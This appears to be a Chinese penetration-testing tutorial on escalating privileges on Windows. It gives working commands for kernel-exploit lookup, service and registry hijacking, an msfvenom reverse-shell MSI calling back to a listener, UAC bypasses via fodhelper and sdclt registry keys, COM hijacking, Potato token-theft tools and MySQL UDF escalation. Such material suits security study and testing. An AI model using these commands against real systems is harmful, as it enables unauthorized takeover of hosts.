当获取主机权限时,希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、Bypass UAC提权、令牌窃取提权等姿势。个人认为在提权方面内核提权、土豆系列提权是比较效率而且成功率较高的,其他的提权方法利用条件比较苛刻,在内核提权和土豆提权没办法提权的情况下,就考虑其他方法,算是一种扩展思路
1. 系统内核漏洞溢出提权
由于目标系统没有及时安装补丁,攻击者可以利用Windows系统内核溢出漏洞进行提权,轻易获取system权限。
Windows-Exploit-Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
通过systeminfo比对KB编号,发现系统是否存在漏洞。
在目标机上导出systeminfo > info.txt
python2 windows-exploit-suggester.py --update //更新Microsoft漏洞库
python2 windows-exploit-suggester.py -i info.txt -d 2023-07-18-mssb.xlsx -l
找到对应漏洞的exp执行,获取system权限
WES-NG
https://github.com/bitsadmin/wesng
说是Windows-Exploit-Suggester的下一代,支持用于Windows 11等操作系统和近年来发布的漏洞
python wes.py --update
//仅显示一定影响的脆弱性
python wes.py systeminfo.txt --impact "Remote Code Execution"
//仅显示已知利用的漏洞
python wes.py systeminfo.txt --impact "Remote Code Execution" -e
//输出结果导出为csv文件
python wes.py systeminfo.txt --impact "Remote Code Execution" -e -o rce.csv
Hacking8在线查询
https://i.hacking8.com/tiquan/
直接把systeminfo的信息粘贴过去就可以直接查询可以用于提权的漏洞
这里使用CVE-2020-0787做测试
https://github.com/Ascotbe/Kernelhub/tree/master/Windows/CVE-2020-0787
把exp上传到目标机上运行弹出一个system权限的cmd
2. 系统配置错误提权
服务权限配置错误
如果因管理员错误的配置,导致一个低权限的用户对系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成后门文件,这样就可以劫持系统服务,获得该系统服务的权限(利用条件比较苛刻)
这里使用powerup.ps1进行存在配置权限错误的服务信息收集
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
导入后InvokeAllchecks该模块会自动执行PowerUp所有的脚本来检查目标主机
如果当前权限可以修改文件,可以把后门文件上传到服务路径并修改成同名文件,等待服务器重启就会回弹shell
如果CanRestart为True,即当前权限可以重启服务,可以先停止服务,再把服务的binPath改成后门文件的路径,然后再重启服务即可
以CVE-2019-1322为例
sc stop UsoSvc //停止服务
sc config UsoSvc binPath= "shellPath" //修改服务路径
sc config UsoSvc start=auto //设置服务自启动
sc start UsoSvc //启动服务
未引用的服务路径
当一个服务的可执行文件路径含有空格,却没有使用双引号引起来,那么这个服务就存在漏洞。根据优先级,系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。
举例以下未引用的路径
C:\User\Local Windows Apps\Common Files\service.exe
由于Local Windows Apps文件夹名称上有空格,会导致window执行的命令语义不明确。对于window来说有三种执行方式。
C:\User\Local.exe
C:\User\Local Windows.exe
C:\User\Local Windows Apps\Common.exe
C:\User\Local Windows Apps\Common Files\service.exe
window会按照上面的顺序搜索每一个可执行文件,先搜索C:\User\Local.exe,如存在,则该服务运行此可执行文件。如不存在,则继续搜索C:\User\Local Windows.exe,以此类推。
如果当前权限对Local Windows Apps目录有写的权限可以将有效载荷重命名为Common.exe
写入目录,当服务重启时候就会运行
不安全的注册表权限
如果低权限用户对程序路径所对应的键值有写权限,那么就可以控制这个服务,运行后门程序,从而获取权限。
使用accesschk或poershell检查写入权限
accesschk.exe /accepteula -uvwqk HKLM\SYSTEM\CurrentControlSet\Services\GoogleChromeElevationService
覆盖 ImagePath 注册表项指向有效载荷
reg add HKLM\SYSTEM\CurrentControlSet\Services\GoogleChromeElevationService /v ImagePath /t REG_EXPAND_SZ /d C:\User\shell.exe /f
等待服务器重启或重启服务触发有效载荷
AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。
在注册表中查询 AlwaysInstallElevated 键:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
两个键都设置为1(0x1),如没有激活AlwaysInstallElevated,则显示为系统找不到指定的注册表项或值
使用 msfvenom 生成反向 shell
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.221.169 LPORT=8088 -f msi -o reverse.msi
运行安装程序以触发以 SYSTEM 权限运行的反向 shell
3.ByPassUAC
一般BypassUAC利用条件也比较苛刻,一般用在在管理员组内但没有Administartor权限的用户权限上
autoElevate
当某个EXE文件的文件清单里有autoElevate
元素时,当执行该文件时会默认提权执行。
以SystemPropertiesAdvanced.exe
为例用sigcheck进行检测
sigcheck.exe -m C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
requestedExecutionLevel
有三个不同的参数:asInvoker requireAdministrator highestAvailable 分别对应应用程序以什么权限运行
asInvoker:父进程是什么权限,此应用程序就是什么权限
requireAdministrator:以管理员权限来运行,此类应用程序图标右下方会有个盾牌标记
DLL劫持
exe文件运行时会加载许多dll文件,这些dll文件的加载过程
- 1.程序所在目录
- 2.程序加载目录(SetCurrentDirectory)
- 3.系统目录即 SYSTEM32 目录
- 4.16位系统目录即 SYSTEM 目录
- 5.Windows目录
- 6.PATH环境变量中列出的目录
PATH
环境变量中列出目录的同时,dll加载也也遵循着Know DLLs注册表项
的机制:Know DLLs注册表项指定的DLL是已经被操作系统加载过后的DLL,不会被应用程序搜索并加载。在注册表
注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
在knowdlls表项中的dll是预先就加载进内存空间的,被诸多应用调用着,改动需要高权限。
所以在程序找到正确的dll前,将恶意的dll放入优先级更高的目录内,让程序优先加载恶意的dll,这就造成了dll劫持
白名单
白名单查找方法参考连接https://github.com/SkewwG/domainTools/blob/master/regeditBypassUAC/README.md
odbcad32.exe
这个方法很简单。打开C:\Windows\system32\odbcad32.exe,然后通过以下方法打开powershell或者cmd
提升权限后对比
Fodhelper.exe
Fodhelper.exe win10才有,所以只有win10能通过这个办法bypassuac,利用方法属于注册表劫持
使用Procmon工具去分析,看启动过程执行了什么
程序试图打开HKCU\Software\Classes\ms-settings\shell\open\command,但是这个项没有找到,因为这个项并不存在,于是它查询 HKCR\ms-settings\Shell\Open,查询成功便打开其下的Command键进行查询
我们可以劫持注册表,往HKCU\Software\Classes\ms-settings\shell\open\command写入恶意指令从而达到bypassuac的目的。
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
然后命令行重新打开fodhelper就会弹出一个高权限的cmd了
删除注册表项还原
reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command"
sdclt.exe
同样也是在win10上可用
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d C:\Windows\System32\cmd.exe /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f
同样删除注册表项还原
reg delete "HKCU\Software\Classes\Folder\shell\open\command"
ComputerDefaults.exe
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
还有很多这里就不列出来了
COM组件劫持
当进程运行会去寻找COM组件加载,加载顺序如下
HKCU\Software\Classes\CLSID\{CLSID}
HKCR\CLSID\{CLSID}
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{CLSID}
和dll劫持类似,如果进程在寻找COM组件的过程中有NAME NOT FOUND,直接在CLSID下新建一个对象ID,就能劫持进程,或者修改原有的COM组件来实现劫持
以CompMgmt为例
添加注册表项为msfvenom生成的dll
reg add HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 /v "" /t REG_SZ /d "C:\Users\user\Desktop\test\msf.dll" /f
再重新运行CompMgmt即可
利用COM接口
原理是利用COM接口提升对ICMLuaUtil
接口进行提权,然后利用ShellExec()
方法来执行命令。因为要通过CoCreateInstanceAsAdmin()
创建COM类,系统会判断程序身份是否可信,若不可信则会触发弹窗,所以这里有两种方法去操作:
1、做成DLL,使用rundll32去调用,或者注入到其他可信进程
2、进程伪装,修改PEB中自身的进程信息为系统可信进程
UACME:https://github.com/hfiref0x/UACME
参考:https://pingmaoer.github.io/2020/07/09/BypassUAC方法论学习/
Akagi64.exe 41
4.令牌窃取
土豆系列
土豆系列提权的主要原理是诱导高权限访问低权限的系统对象,从而导致低权限的对象可以模拟高权限对象的访问令牌,进而可以用访问令牌创建进程,达到以高权限执行命令的目的。
利用条件:
- 需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL具有这两个权限)
- 开启DCOM
- 本地支持RPC或者远程服务器支持RPC并能成功登录
- 能够找到可用的COM对象
JuicyPotato
下载地址:https://github.com/uknowsec/JuicyPotato
使用方法:JuicyPotato.exe -a "whoami"
SweetPotato
下载地址:https://github.com/uknowsec/SweetPotato
使用方法:SweetPotato.exe -a whoami
BadPotato
下载地址:https://github.com/BeichenDream/BadPotato
使用方法:BadPotato.exe whoami
GodPotato
下载地址:https://github.com/BeichenDream/GodPotato
使用方法:GodPotato.exe -cmd "cmd /c whoami"
PrintNotifyPotato
下载地址:https://github.com/BeichenDream/PrintNotifyPotato
使用方法:PrintNotifyPotato.exe "whoami"
5.数据库提权
MysqlUDF提权
udf为User Defined Function用户定义函数,mysql允许用户自定义函数功能。主要方法是向MySQL的插件路径导入用户编写的dll文件,并调用dll文件中用户定义的函数
查看 mysql 的位数选择对应位数的dll
show variables LIKE "%compile%";
查看插件安装目录
show variables like "%plugin%";
sqlmap中的udf动态链接库都经过了编码处理,不能直接使用,可以使用sqlmap中的cloak.py进行解码
python2 cloak.py -d -i sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
把udf动态链接库上传到mysql的插件安装目录
但是一般插件目录是不存在的,如果有webshell直接创建lib/plugin然后上传dll即可,如果没有则需要使用备用数据流创建目录
导入函数
create function sys_eval returns string soname 'udf.dll';
调用函数
select sys_eval('whoami');
删除函数
drop function sys_eval;